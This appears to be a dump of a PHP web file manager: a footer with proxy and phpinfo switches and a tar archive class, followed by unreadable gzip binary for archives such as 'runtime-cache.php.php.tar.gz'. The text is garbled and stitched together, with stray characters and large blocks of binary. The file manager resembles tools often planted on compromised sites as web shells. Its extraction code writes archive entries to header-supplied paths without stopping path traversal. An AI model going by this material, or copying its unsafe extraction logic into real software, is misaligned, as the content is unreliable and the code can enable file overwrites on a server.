	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                   runtime-cache.php.php.tar.gz                                                                        0000644                 00000001121 15243264725 0012000 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Tn@3_KI[OU߬j%lc.bioq"UE 9gUz~gm]5K`RBRvń۴{$gN/5l(~?3p(?hof0IcΚjH
ؘ\+HtC<CWb&2b臁XW8޾q,]7%-E݇ T|_ŎK	B9א:v9F3Ӽ>8\@]䡭CeJV%^y7Q@GI44MGӱ̮M \:;q`	YHa0ɥAtQW`$Rf^hyϕ*ZRC߁>	`W U2ICWl=X	bwV͈PQeհȼE'0
dfz$7Toq͚dPz*Ilwl]M<TI+Pju7=b;ތ;$Ԥ[./o4g;w	$ 
                                                                                                                                                                                                                                                                                                                                                                                                                                                 364262.tar.gz                                                                                       0000644                 00000504106 15243264725 0006461 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             @W8VpV @A#"$(Q{kպ,)Zw[[{TYW<s=s=s=Nuk?;Igԡ2htJ	@b#x_ME?~נku;׶N:VL)7jbfP tuFo.DV\&FX!M&D5d^fM* khLDP i-_&__Ѩ7:e%8ڿZ.DM^2C0Y !&Biq"a~#"hr@=Am$djN&r؅ nQ7' FF&YI{+OE$DF&!`D2P%biŐ\W0Y6֗*9Y&6Ld0pOEbP$HK@."J} l!hl
rIl D7:PɃ)nxSȤTQ`@b:\U۳+ DKA0sL!0,' vW/DJW
4լ7e2J<!M@%@HvnAlVU(Ka~:YRoQSO] Ah VRFXPDlG;IAhgX53{BzbI^!R)N"5<;m!(jLnO(tdBv«=5*4zx8_#";</\Mj߱9sBRI}+cc1/MvҮ؈Y	UNslϨ.S9 cc.g5g)ov,+vdTLtl>|cGZ> c&3[^1bc'g31ԷХׇ.X*L}2V𾑭sLUlvLIVl>tcr	511ɱϱcc6@e9riŚM+6;WrlzVUlV,q_
@vlqpul\bk.Zb<E.N]x@+: {s =V,PfX+;VZlCSA@+hb 1 w}茊 5s2i@~iׇ.,RdcEz*VVT|Sbst#H[+]1e.ШAbo~0"1Pdcq:TlD 4$6]_w$|f%4Y.bŮ C7eeA9} TiclÊ @AcbcCŷ1Ѡ	2Isǂ3*@+8V9 owlֿ;L"䊭DyN\Ǵ4{t}r@2(rZsYԊHUN9(%P"Tou7!@Usr4s̫\¨!lWlJL5~@1tܢǜ/*q{WhŠUW| v4Tp
c*Wlƨvߠ/Znc *v"h6G|yM8rxZDHu6 UM8	2h\@KC[gWl!gtrLp 9ؚv+5kqL,Z׳Aht6|xfZ;V(^79ܿct;BD@ХF|@u֎RŎEiGF;&uSXcVߊNa{k+[+6
+ֱA-aEեb}EPS5=6xsHNc4S22;2WG[2ɱPlY"6;+_FX2*y>9W.jbbs±߭naQ~Fk}[nXWV$1-aŔ`--XXѤ)?gc,Ow|ȮI@^uLDD8iH4_+ 5(	ٚva`hYAVy1bix=4?se5iE!L/3 4o^ŶtׇSW,=br@Xs̐bGctvLiRP~=ǜڊMaց1/D$=X <x@ʥykM@ Ct@5_0YZ U^$r<`QB(޶(o 15'b6TYBQ4l+t8ѥ:CP_nq쬜RTXX) cbg#S~
cNvE8@M=KC[ԕb+8V imG:&9ƵsekH#,}73 +|^tbsT~EJ\ wv9'X R*Xqk	DuXjȎaK&1t?#Ml91Pe[gTlR9bk݁ˇA)rzcnc0̂Tؐ:gX; ٦Y30C
w{#K[8ƱsANxCM`̤C\ª[>5*"b`0GLtIw }Y	63cLcJi3 u|Rri
L}`3 3z96 @]T1bSz i`рV Fei*u+
8,bI2$4#jc_Ų:eg9T86;VTLv,Q+v5HKK&=q;v, zVwL;tccc~БKŹ b1ˈ~dH"Lgp̑g&h/+涵#lQs(6'$yĲJP
Q 3b#X)u& 6m6'4B$CZԨ	A^]/~;̬&Ql4ADB4Z29OaY\̼$B>;3%':i2{ޫrl2#FVX
VP ZF$0kb˂b~]r2A%6jv	$I 	дPʃ@`Ca0J@H@>E!5:H;H0"1 :$7rZdrآ1BZ@¬HY.ESW~UhGjXD4~f3`&A)J^AZqP6F;Z
am![3gn^J1VФ.CX>଑ sF@nҀT'(V%ujϺ:1	Rp9:*n BJN,NYKe(jһS-T /` jRF7dH|4bɪ74wb̅Jt`^x`Rz)6+$50[k!$P"U^ip/b">##·PVE,W(3" =YtjV5paCLN`s^?LF@T/VQ;
Z J
'!Pl12TFu\8@Yl7lȘ"L&  1ꭀ&3=z=|b@+dǳy47)Ći8ujD}
A -hh~}Ϻ94'N!<y/t Nx0!1<z $ b	8!D k@F@4x!>W^yIlL+,:)"
riR5(D ?#9aFbܿXWȪ/odw ,`@6KR8 s)ٔ
:XVk1-	f_	Bh`4_ @RL*ֹCEtAk00Hmr+;
ks㋪ػ6<;FP֕KrgkiԺbLG0ȍZ'jl*D'ATF4R~ȳ[pA5]Aq=[<B	&8QYzi܌E		ɮ5j)ЉtŞ 55d 2= JFlZPq`/&r)<Jj0פ<jFsy Q,5y'ҚR]@@9 fp̜+:Ϭ,+BrfXuPLbb<P!
}DBtVKaytL:F$Lz`EhkzZi'՚ڴ&YM׾5'54QsM3	[rs1h`6cB4(PGljФg#ص%)pQ>>Pb.f#&E:/z8R>H	@_4@%LtXi+ޙ#?0x[@Oc (x@`G (kR!fST4JNH/e@<z؈F רt|\@~x{jh\:M@D; tGU0/m'SA]0KJ?:ģ~;	jAoRê{f3|F%c@qjsl)  &~D%۴ \W@VrBaUAuU@S!B
Q4BAJ)4*(U@@]֙(@o z9N]MPH5z'Kળ"TdDQpWo&$-:7Yfb?8Q=
}aX@z*`-14 $4U+6 LTяLc
C.e $K*Zao@ӖrLD==a;drB#ILTI@>7Z*jЫT! ^xMSEZE	sTVB ?(LG+*0td7G$Q
&QNBr%tjߠzuE0 U)Od0jyy0+;#=dGP@t!x,2zF f3YWP7Æ}!>Ł:7> VBg$K{O
~{$g@j/ 謊 |"m*4ND&DsrvRZ7<Jv Q*Qi20ә,B 2ٝs(\0(鴋͸PAn]re!R-=?n@:=16Wipc_ƾ:٤7p7_JjP!1$WYmHg[8(Hv@RbKKpAL0TF"&0bZ6"PC a ZG ȉ<O7YK"0L
B~
Q!&6S4D+XQXCP]!FngAq@ԈaA$2 @I"x !{hdD,ѻOB>Q8gn6Ib6isHTK"s` A+7 ڙblL@@,7!V
ʍ΅A4̆ID@CaR`[~a`i ϋnrJ3=H\	@6' :lR6'!}ɽ䵂b-Z[L&+ZO٥VೋbGz"7rxUSGE"U2aDF b!H<1tڬ K
vte,K3mq` BF.}V/݅fjY9bgyiFށs.XvPDJwBNqnHsnHI-*K,r0W0[[Ĉ.\3Jsl4?weڲ4aL"CڠFP4v"xcEb< #CƑZV~:*@o)'qlј?zkX*h1nEJB!*{bjR]=yboyǰTp7jHjΪYB3ܽPх:55B3תhhB2I5L(k`DV фT}gH~m](-$!@9_>a
Qd7g˽.Āʏm٢-R,F4j\
D/rjm!8Ajh:;/ $$3	PDʡY` L.*9ɀb:"CI$ع,Aa ;[i>)lUf>g]YFN-7"/$n+-8個@n/ plvV7AIUQ)H@Ϲ0<Xݳtp
	(W)⶷'A@KJ1фr7AAn-
zq(B*f"E1h4t+[QfJgs1~$B7) jʹYE ?ؘlLRo sR+A]yPYar:@ǜÀ-A7{rAKv$T)F ,W;b}MBX#7±N5jiqL `aD;`U"P0dB0YXg^jbTIsI]׶ b\, @| O
(Y\@:[Q	Kb-xQ#xt{H	hD7tb *Q:p͜`wl\j1;7	-6
aQK4\9o$B >C
Xb,ē;/ǛgK& !KМ)g%p3f.選 mti[xL;E.φd<.uzYS,)@JzJfvŠmq.~{&o=[岃CβHa p yw{45(#}0
VY^Cg!C"j'sU<
VJv0{{T(3X!023iՙ{h+ŠB0T{$`)F6Lw4Lʍ2 aAB\S*7Xg

XRVrc7@(m<[b<*	]Z(aFcj=⪧D Wy'T+&( ]| thkC¸Գ7+[V8ʌg(|K	,V*õFdJ~ HVУ"2dcPheF7i˦%tAjך4rd\:Q"4HLZ$-)8@f)A$(XB2Iˢl $K'&<ܪ7Qh^QYR,"DXvYv+yHTӄJ(ܒGb[ӴI^T6YH3Ǔ"IЊ<C!"J+֦9,jQ%OSQj#fTHLVD4)=='BǥS(P"
&.Wpɤ:'ESi"å\33*)3ۚF"ip*ДZ3jLËS(ϨX4KsԲL-=9@Ո	JmD&iEiLخM$KdJk6R2AQIQJ23D4#rRx6KҔ\azDzY]Vh8424LeژH$ǐDgzSJj:j|jY`2v=*I*frs"Ȋ")2f։,eLfC ަpc<1G
IfѭaQDDR$!Gp,Veb!YL%eIV!fI%G%)
ԩ6Jv1C@#LaE20O-X,h8l9/G
Ud̈́͞hv0SMeXj63;*,!HhHmjvڜnJF&gV.O-d*S
n8bE
2UʼbK^$זYkO&rue-./L 4Ks<)DHNgTb_C)3.!%gI,L[bZ]вYqEjMUODty1#BNFQLtC.(`X֜8ؠ2Yeٖx5*f2'ҮH#K%y"*gVVQK'Hm)yKg3Rgj
{ܧnZ)*Xkat{|afA
  ~2dsPܸͬδ~q7!gV4c?FD0h
@	w&\f4UAF,#~5 OAk}R`ԛ`r4><&d',wp"5NNT:
"he	Ta?4Ҫ~N(3>qiRIuq}jKB݃[.Yd'01G[ቫs
{D!U_ܕ`hds.,d;4 #V뾻Myc_[thAbl;]jXn Hy9	
ѕY\ְHˑ5CL 5K1ȑcP@w|q -ޱz 7DY1΍Dj
=Tе,#=ZC41؃Χ@ YE  !B
4-B9AAnWgZ>{h
sOBN#8ePBh11DP
?C7lct"e&zZAFZA6^`i0iaBQC%u+F@cxsC J|j?XqvQ
-xVNUx
@4X#L8j cPsW$wZtܜb:7uN9SO N8p xvr'|j	Am'4Mq%nPGj,GBAx yʳg a(HE#N#^c5EBpKye'A3Y1x,u/wya ?skldFIM-&@" L @CS /NVUbIq7bQ٬AoXa(v4ʵRZw/J 9&!_XL1*3,Y*$TBzTjL>Az ejlrŨZP96WVoLh#",cj	YrD/&=gK1X6:Th[!LI*oWn%8"~ʘ8fNBPłG/Ԓj_LVcACUd/"(Lms8uurf`{lpVa0 vwal'ѳ4{B@X z!,Jk<	@@rUs=	/jjFw7$.ם>pHjF0oeҞEƽ^!ŽV /(Ճp'[ ԡ=ԀK$>=]nY|!(Bu2B"6LhC+.,*h^aG_qr11XUp|psyw`yзBGaA0T?

~1Q'^#`<]kNU46Їy'XfWh-izvIt	~`.^0؄*s>pїwW&̲:s"x;Wl,?N9W@*Aub`D~fn~I](}Ux'%^ѧR'{x$L6P5l+'#B4Z _㦀hbR!$*U< ԯOAX0  (grRx*!N+~pu<e>p{_AEs>{aT=qQ"$Q<qg^tZt㛰 =dDw'_w3gE/8!W ?RK6)TW=R.0x(XXQ̪Edz)rIR.w2Df0]6|hb]a3h/ѝ)^ڥzDW$jMJV0[YO׌(70gꊉZcc	vZurcl?ppq. =%?q~-笥4֏n8-nadFJ"X>DXl&0);<bGzdU%`@?2I!bRxI!z~d倏^VB!"&.[
wamsQV 5-LÓrt:nJ%Zg2ڰ->rbFBmQ&:Z*[NZt[^d;
Q@ۉW!:5	AEi,&[UWg[]&Is;B 6|	v1aRyt$jEPJ$,CtoYOf6M`(Jn"0sBƔ+*x%  wF,#H9MN2hp_F9혈, x zM=*P(шuFi6)&PZAh@o<}6V6]V7:pB?)fvG! [TBeYIl ,N:f#е(?R:1#--#'-#%dpage;'1Pjf?=J g'0c-g\\ۏnHYM.%aVod)b QP o_FvV:.#3<'|TQ(k4pº e*=D/}*6;%J#FIspSOrC^!k@$CL/EuZX!bvJ^"@ :A][w bjY#W S&@cykņ6 87 AIuj}BUkj=ci`S?]uRTJ&K%ǞBF©ĈO<rMK]e"P
`YV41EO:X
Um_-Mx966G?JЍ	d,]"'(	
I*DJ$"@c >xo1cVDF<*UuܗݻgU5ͦ#ݳҫJMLÍF%S}HãEh)BIHp"#yQo@2̈ 0z)F9TRkdH^j|ky (xŨ]l2dP	T{uts&1*VB/<2-fgpN$O>N?OjS5X<l?|qW0Q*xA@$dR2IQ	Yʬln'9.l+HruD!N,\pS⬼Nfqf^	baggjQOOM	}*(S3k)GQ$	lY&&VVfUY.J/S.ϴdrة),.'X<`5rLR%+NMOg%RVz=l%d4RV^<%TiV6QT@L/R褄<ZZ+ef%t
DH)HVfD|@2PoHd%*86`qfVB\&6bg;_6XHPc熳8Y"P62Y;CZ:2\+0-Y~^$>jrTT[&-/3E-fY:(IeLv<?TyQ)2%h#3lOQYx$d9O*Kҳ"qfr	GsL!O9̴l>C'VRr8QD4yn1JS$yRCBY5dL5rÙdNyq"TFfKURJ&IdbOcg2rTv4 S٩Yl484$zY6˔'r-4JgѲ̜d+TbR#%T2ANF$&-W"*fI3Y4 TFNdǥȂ2V,.NVO)z~|J >Sb%'(SL:L*Y2nz_pUPD&ȸ4{\|&?R
jVZQ)ڼp4r'|NVڲlNDIjKؑR{R)[jpzvB0"Vғ$4Si9L1S˳rEf	Mɣ除LjPŕؒfƛJS[dd,Ѧ*
K	p5IɬY\V -py|F\V*=T&gR2}
ZJLO
JJQ'I386UILA-.R汹,uv=%R*,9%edqHŦ/*fĢ$=L-	^q)SԘRu9),XMM,NȦ02EmBJP!6za&?Qb@YZ'׳TmR"r*WUy2XT2˥J|:7ţȬVJ`WR㴒$4OdГRIy<%$Q3ܲd6C.J`hJBeYm`&STMXdח
S%Di2iBɐFEt*$S)1Kj$&7dDKrI6$3D)7JJ0$&)MBrQiz2.2ѕ&N[.*c2k-yd>-R]F+)et,4#[TLglERSLzD*]%(MsIyAZM$K\FmJ5K(
c@l.RɈQxY('벣4Xj<jTG#%z-Hy:#bF$B!K:Ffs09!QdZ̦2im2,0	R.+3B$e-26S%L*%r3ҋi$T\Q&C@զ"	t^&NRTmF-KiIr	Q0D\Y)&_l,f͢9baPh(bNLP%B7Dj2)FYF&&-D"2rYK)ruy*̱XIR7ʢqJrBBPb娨$i$ߞ`0Ge"1dye-WdVRA:aBir4WXRRR$R9?Ur62Cbka"
iZy[FIq2Iq|MgI
c2I!ŉ"su{TQ#1([BzILiv)^fӋ9Br:O)LnNCJSd9L7):e|vȚN˱EL+3JD
&32¸TҒgJ3Ƭd:QQ,e0PXr(,MJSsUBy/aU'*AR.7Wet "bf]z6aSSYzRQ関3"ҩB,1e٬4ueJdf"#9@WǓ V89Zhi*) b	85*)(8='#^O8j2kN\i,VrK"Sb CPi2Dh08I;OPU,eUQMD2ZaӨ$i$[NDΔk2)ȌL#K(J3D&T>٤i41,O!uRn^f7[2Rlf8YT!O&Sd9(ca*2Sj-;15\WbeZ8%T-]((5rHʋF02ήO3g&#fa%'Q!/RITJ)Jt|)1OjT	$Pӓ4IR$dQJĥlK'2h#0$	q$MІsiJ,*ǜAFJ
n*6KS3EbEJɣfyl&iNssIIH9GJr"dAdJ,d	\jD(RSH<:/""Ģ׀\15ClYyY,2%cQ#uT>='gE#(D"2;UREp5OG()tT 0ez[1LEђs4!^[*mYDVE&)L~IRxFV)7۞G	i
{Y]QH=)A7"4^IHv@E)%$*M(奆xv)[ TjK4z,C$xSKFTȍ4&G-r.3RFe02՜#e
nH"*@ީQe&K$-W,16E;)$BDғJr%3*Y'KTy<,E֨<,I	yHI<zZT®dFفX'G&%іW(-FD)2("^kdI]CY6m))"H\eY0",-5[sR^b$>ԓiEB(*"mZA1f1Iei2\%2d#$BI M,ckL4eMJWiIbvf@@3egQt/3L9KTyɥ=&LVb8SH1N:K(WUlRR(.Ґb;LK	rxr
f$-#&,StxNH%H䒢&)#k'	s#l1ǐ@u
;kUc"lV^⤦'HRE"&JRę$\jRl%	,&]n1vuB1;ʚEFJ3'5L@-g4\,V+5hãDWDʍ:F@SUVr4VbZ	ɚ%%rJ^-.$Z(Ԥ"y^rqM"g$ZB
VMmN5fm:/R_,r&%)A(Gqit]	7AlƕTơ:W$Ib\gό#Mz)1''9J0j2%%iz]]d%$DYH$GJ!hI!9ͶdMPxLLbe4P<dQeLٜCbeR'$yvM`҄V:$
